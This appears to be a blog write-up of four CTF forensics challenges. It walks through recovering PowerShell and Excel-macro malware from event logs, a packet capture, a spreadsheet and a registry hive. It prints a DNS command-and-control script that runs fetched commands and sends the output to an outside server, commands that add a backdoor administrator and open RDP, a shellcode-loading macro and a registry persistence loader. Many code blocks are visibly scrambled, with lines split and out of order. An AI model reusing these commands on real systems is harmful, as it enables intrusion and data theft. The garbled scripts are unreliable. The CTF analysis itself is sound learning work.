Hy Friends , welcome back to my blog. I participated in this year’s HackTheBox CyberApocalypse CTF. I am so happy , my team TamilCTF secured Rank 73 out of 7024 teams. I Solved 4/8 Forensics challenges. Without futher ado lets jump into write-ups.
Majority of the challenges i solved are related to Malware Analysis and this is the first time i am trying this category. Especially PowerShell. I can’t believe that i was able to solve them on the first try. Alhamdulillah.
We are given with a bunch of Windows Event Log Files. I had no idea on how to open them , so i searched if any powershell scripts exist in this event logs.
strings * | grep ".ps1"
I saw some powershell scripts in the output. Next step is to extract them , I relied on this great article to extract the powershell script.
I ran the ExtractAllScripts.ps1 and extracted the scripts from Event Logs. As you can see, we got two Scripts sys_mgr.ps1
and special_orders.ps1
. I checked the first script and it had nothing useful so opened second script.
Its a Powershell Malware. At first i wasted so much time by focusing on the shellcode $HVOASfFuNSxRXR
, yes i was careless i followed the comments and didn’t bothered to look the code thoroughly. I couldn’t get the shellcode work at all. Then i looked into stage
variables. It was so easy.
0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;
[byte[]] $stage1 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;
[byte[]] $stage2 =
array]::Reverse($stage2);
[
$stage3 = $stage1 + $stage2;
#Unpack Special Orders!
for($i=0;$i -lt $stage3.count;$i++){
0xd1;
$stage3[$i] = $stage3[$i] -bxor
}
($stage3)
[System.Text.Encoding]::ASCII.GetString
I just needed to print out the stage3
variable.
HTB{b3wh4r3_0f_th3_b00t5_0f_just1c3...}
In this challenge we are given a network capture (pcap) file. I opened it in wireshark and checked through each TCP Streams.
TCP Stream 17 had this strange image file. I decoded this base64 string and got a powershell script.
[REDACTED]
1 filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
2 $key = "a1E4MUtycWswTmtrMHdqdg=="
3 $out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
4 for ($num = 0 ; $num -le $out.Length-2; $num++){
5 $encryptedString = $out[$num].Strings[0]
6 $backToPlainText = Decrypt-String $key $encryptedString
7 $output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
8 Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
9 for ($ans = 0; $ans -lt $pr.length-1; $ans++){
10 $domain = -join($pr[$ans],".windowsliveupdater.com")
11 Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
12 }
13 Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
14 }
This is the main part of the script. So this is how it works :-
$key
holds the AES key for encryption.
Line 3 statement make DNS request to
windowsliveupdater.com
using DNS Server147.182.172.189
and save DNS TXT field results to$out
variable.
There is total 7 TXT fields in the DNS response , so the next loop runs 5 times and decrypt the string, stores it to
$backToPlainText
variable.
Then it executes the decrypted strings with
iex
statement and store its values to$output
variable.
parts 32
split the result into 32 byte string. So$pr
stores splitted parts of$output
variable.
Before the second loop , script makes DNS request to
start.windowsliveupdater.com
, then in the loop it appends value from$pr
variable and after the loop it makes DNS request toend.windowsliveupdater.com
.
Here start and end telling , every Hex Encoded subdomain DNS requests between them are single AES encrypted string.
As you can see $backToPlainText
have decrypted data , so i just printed its content by adding Write-Host $backToPlainText
in the script to see whats inside. Upon running the script it gave this result.
hostname
whoami
ipconfig
wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value
net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr
netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389
The base64 encoded string in this result is the first part of flag : $part1='HTB{y0u_c4n_'
Next step is to find the rest of the flag by decrypting AES encrypted strings , I made a small python script to extract AES encrypted strings from the pcap.
from scapy.all import *
= rdpcap("capture.pcap")
pkts
= 0
i
= []
domains
for pkt in pkts:
if pkt.haslayer(DNS):
if pkt.an is not None:
= pkt.qd.qname.decode()
qname ".")])
domains.append(qname[:qname.find(
for val in domains:
if len(val) == 32 or val == "start" or val == "end":
if len(val) == 32:
print(val, end='')
else:
print('\n', val)
We got the AES encrypted strings , but there is a problem , the script only takes base64 strings , what we have is hex.
Head into cyberchef and paste the hex strings then add recipe From Hex
, then add Reciped To Base64
.
I did like this for all hex strings and made the final script.
$ErrorActionPreference= 'silentlycontinue'
($key, $IV) {
function Create-AesManagedObject
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros128
$aesManaged.BlockSize = 256
$aesManaged.KeySize = if ($IV) {
if ($IV.getType().Name -eq "String") {
($IV)
$aesManaged.IV = [System.Convert]::FromBase64String
}
else {
$aesManaged.IV = $IV
}
}if ($key) {
if ($key.getType().Name -eq "String") {
($key)
$aesManaged.Key = [System.Convert]::FromBase64String
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
() {
function Create-AesKey
$aesManaged = Create-AesManagedObject $key $IV($aesManaged.Key)
[System.Convert]::ToBase64String
}
String($key, $unencryptedString) {
function Encrypt-($unencryptedString)
$bytes = [System.Text.Encoding]::UTF8.GetBytes
$aesManaged = Create-AesManagedObject $key()
$encryptor = $aesManaged.CreateEncryptor($bytes, 0, $bytes.Length);
$encryptedData = $encryptor.TransformFinalBlock
[byte[]] $fullData = $aesManaged.IV + $encryptedData()
$aesManaged.Dispose($fullData).replace("-","")
[System.BitConverter]::ToString
}
String($key, $encryptedStringWithIV) {
function Decrypt-($encryptedStringWithIV)
$bytes = [System.Convert]::FromBase64String0..15]
$IV = $bytes[
$aesManaged = Create-AesManagedObject $key $IV();
$decryptor = $aesManaged.CreateDecryptor($bytes, 16, $bytes.Length - 16);
$unencryptedData = $decryptor.TransformFinalBlock()
$aesManaged.Dispose($unencryptedData).Trim([char]0)
[System.Text.Encoding]::UTF8.GetString
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
# TXT fields from DNS request to windowsliveupdater.com
String[]]$out = "Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=", "hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=", "58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=", "eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru", "BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=", "vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=", "M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh"
[Write-Host -ForegroundColor Blue `n"------- Decrypted Strings from DNS TXT Field ---------" `n
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num]String $key $encryptedString
$backToPlainText = Decrypt-Write-Host -ForegroundColor Yellow $backToPlainText
}
Sub Domains to base64 Using CyberChef
# Converted Encrypted
# AES Hex -> RAW -> Base64
String $key "zByawpWKLmNgknLitPj0NjKoBlSbA6t+TrOXca7aShvBAGrIoD+XdrCDIb1tUke7"
$hostname = Decrypt-String $key "dnmJXRz3wHu2o0jhqkr8ZVlYpoVvGjSq1el+pVsIdnA18kl+WDbqDsofEoD1l0Kj"
$whoami = Decrypt-String $key "CeKN2CwUvDJRNlLawvLCew1zoyiKmA2PzvlL3c+eKCIqHKF7stkPzWFYhWNIeQQUIPw5xoSp43HMOgZUK2ZgBVhAvZTM5l4jYTkltNnSulMY6nW8ZTAE1F1QXtYlZwF6b6TnWT2DCS9nqBCC2ZMOmbog40qsxHdPBnRCxmIvXaKpsJ/1WKjfAA7L03gEzmY+NSFZm8dZEAWrZ5nFcGjPDcaITOzwHAzUT9a4LbeIs11i8C5Mqh2XP77MI1rp9AJUxj08k8iZMNosT0LZ/BI9i6sArKtRmK/MjGrNgbGc0mTMY1NmjOpMiMiu6h1YmAAi2o+i6RfxfChgiBi/VQ/qZpc7WoNVJYqwqiga2I9bnrEDrGZv4JodRJc2M1wJSE0nHDAcbVeAqyyfozO+OwGFvwcfsSBcTb6qIkEWiwdIkCps4UkDx8R+fIcxEETLmHOk"
$ipconfig = Decrypt-String $key "7KvDSdJ8Cw//0azu2+BrtsLrAA7k+bNdbwAVAOhWQqLcyPG+LPTWZ/RYwd5G0kscLg9dlOUmSccEAsGwov97Sfwy3dZ/J1MHp0ssTQhks/BIYYbalEPrdH9xezkRyVncfjAIRNYGVUEMOYgjjmFdYW8z0n9jzk0eBlpBaRG8UNRYdJWZ0ssI21YZiOspAuBdmIb92sK+1vbac2N60vIM8Zm4zj2d7gPAGAx9EZi0nAJ2nl7k6riW19O7R46hQIFneUcqJDv7CFKvNyMj7BMpiDyBo/KusdParoSW4dv5f0Na5AoJIDuJDEoXTXfLcCbE6ZCm+2Qkp1AYI60x09a2NEx5ccjUR8B4xEcXMq2IHDlLyLGmbgvtQ93DWSabV9HV1o3NKmCL9hcWu0fW/k1cnW6LspgfIUqCNLDdAhDKlustYyKw9/PXSMTJ+LgO/1ppIaPRqGIaSfTSm8mFHSUjCw=="
$wmic = Decrypt-String $key "hBvbTp5fi/chtY6DCBd7Vy6aAVln2lvxGskVX8IVnI9hDNgvgYtL315Ici2vS+7rq84wWD9QO0hL+ZAg4oobjygqI/6zohw62JiC9awN09V9h4dSMWUtD0Qx7DflGgnVfihU0RADq24vS/tPfiR32qRPyjvGAhd38D8TnUWMBSQ="
$net = Decrypt-
Write-Host -ForegroundColor Blue `n"-------- Decrypted Strings from DNS Sub Domains --------"
Write-Host -ForegroundColor Yellow "hostname : " $hostname`n
Write-Host -ForegroundColor Yellow "whoami : " $whoami`n
Write-Host -ForegroundColor Yellow "ipconfig : " $ipconfig`n
Write-Host -ForegroundColor Yellow "wmic result : " $wmic`n
Write-Host -ForegroundColor Yellow "net result : " $net
Write-Host -ForegroundColor Blue `n"-------- Final Result ----------" `n
([System.Convert]::FromBase64String("JHBhcnQxPSdIVEJ7eTB1X2M0bl8n")).Replace("'", "")
$part1 = [System.Text.Encoding]::UTF8.GetString($wmic.IndexOf('2')+2, 29)
$part2 = $wmic.SubStringJoin($part1.SubString($part1.Length - 12) , $part2)
$flag = -
Write-Host -ForegroundColor Red "Flag : " $flag `n
HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}
Here we are given a Macro Enabled Microsoft Excel Spread Sheet File. I opened it in Libreoffice to see whats inside.
The values in first column looks like some sort of MACRO scripts. I copied them to a text file and analysed what it does.
=select(E1:G258)
=call("Kernel32","VirtualAlloc","JJJJJ",0,386,4096,64)
=set.value(C1, 0)
=for("counter",0,772,2)
=set.value(B1,CHAR(BITXOR(active.cell(),24)))
=call("Kernel32","WriteProcessMemory","JJJCJJ",-1, A2 + C1,B1, LEN(B1), 0)
=set.value(C1, C1 + 1)
=select(, "RC[2]")
=next()
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C6, 0, 0, 0)
=workbook.activate("Sheet1")
HALT()
Okay, after some time i figured out what this MACRO does.
Firstly it selects all values from cell E1 to G258. Then allocate kernel stuff , it doesn’t matter.
Next it sets cell C1 value to 0 and start a loop from 0 to 772 , 0 is incremented by 2 on each run.
Then it set the value of cell B1 with value of active cell XORED by 24 , loop continues , up to this all we need.
I have wasted lots of time on this challenge , because i selected the values in wrong order.
Values must be taken in this order E1, F1, G1 , E2 , F2, G2
not in E1, E2, E3 .....F1, F2, F3
order.
I copied the values and saved it in a text file , after aligning it in the right order i run a small python script to xor values.
# Copy Values In E1 , F1 , G1 , E2 , F2 , G2 order
file = open("values.txt", "r")
= file.readlines()
lines = []
vals for line in lines:
'\n', '')
line.replace(int(line))
vals.append(
= []
B1
for i in range(0, 772, 2):
print(chr(vals[i] ^ 24), end='')
HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}
We are given with NTUSER.dat , NTUSER.dat is a registry hive which stores User Profile and Data. From the challenge description we can see that we are dealing with Malware Persistence. Initially i searched for any suspicious programs exist in the registry entries.
reglookup NTUSER.dat | grep .exe
Nice , found a powershell entry with some base64 encoded text. I decoded the text and got a powershell script.
[REDACTED]
1 [Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
2 $encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
3 $encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
4 $encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
5 $encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
6 $encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C
7 $encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
8 $enc = [System.Text.Encoding]::ASCII
9 [Byte[]]$data = HexToBin $encrypted
10 $DecryptedBytes = encr $data $key
11 $DecryptedString = $enc.GetString($DecryptedBytes)
12 $DecryptedString|iex
This is the main part of the script.
$key
holds encryption key ,$encrypted1
to$encrypted5
loads some encrypted string from the Registry Hive , all five are joined together and saved into$encrypted
variable.
Finally
$DecryptedString
is executed.
Running this script on my system gives error , because my Registry Hive don’t have the specified values.
So i opened the NTUSER.dat in Registry Explorer and checked each entries.
I copied each values to its specified place in script.
function encr {(
param [Byte[]]$data
)
("Q0mmpr4B5rvZi3pS")
[Byte[]]$key = $enc.GetBytesLength
[Byte[]]$buffer = New-Object Byte[] $data.($buffer, 0)
$data.CopyTo
256;
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[]
for ($i = 0; $i -lt 256; $i++)
{
$s[$i] = [Byte]$i;% $key.Length];
$k[$i] = $key[$i
}
0;
$j = for ($i = 0; $i -lt 256; $i++)
{($j + $s[$i] + $k[$i]) % 256;
$j =
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}
0;
$i = $j = for ($x = 0; $x -lt $buffer.Length; $x++)
{($i + 1) % 256;
$i = ($j + $s[$i]) % 256;
$j =
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;($s[$i] + $s[$j]) % 256;
[int]$t =
$buffer[$x] = $buffer[$x] -bxor $s[$t];
}
return $buffer
}
function HexToBin {(
param [Parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true)
] string]$s)
[()
$return = @
for ($i = 0; $i -lt $s.Length ; $i += 2)
{($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
$return += [Byte]::Parse
}
Write-Output $return
}
$encrypted1 = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"
$encrypted2 = "CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1"
$encrypted3 = "C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4D"
$encrypted4 = "D814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D1"
$encrypted5 = "84AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB"($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$encrypted = "$
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data($DecryptedBytes)
$DecryptedString = $enc.GetStringWrite-Host -ForegroundColor Red $DecryptedString.Substring($DecryptedString.IndexOf("HTB"), 39)
HTB{g0ld3n_F4ng_1s_n0t_st34lthy_3n0ugh}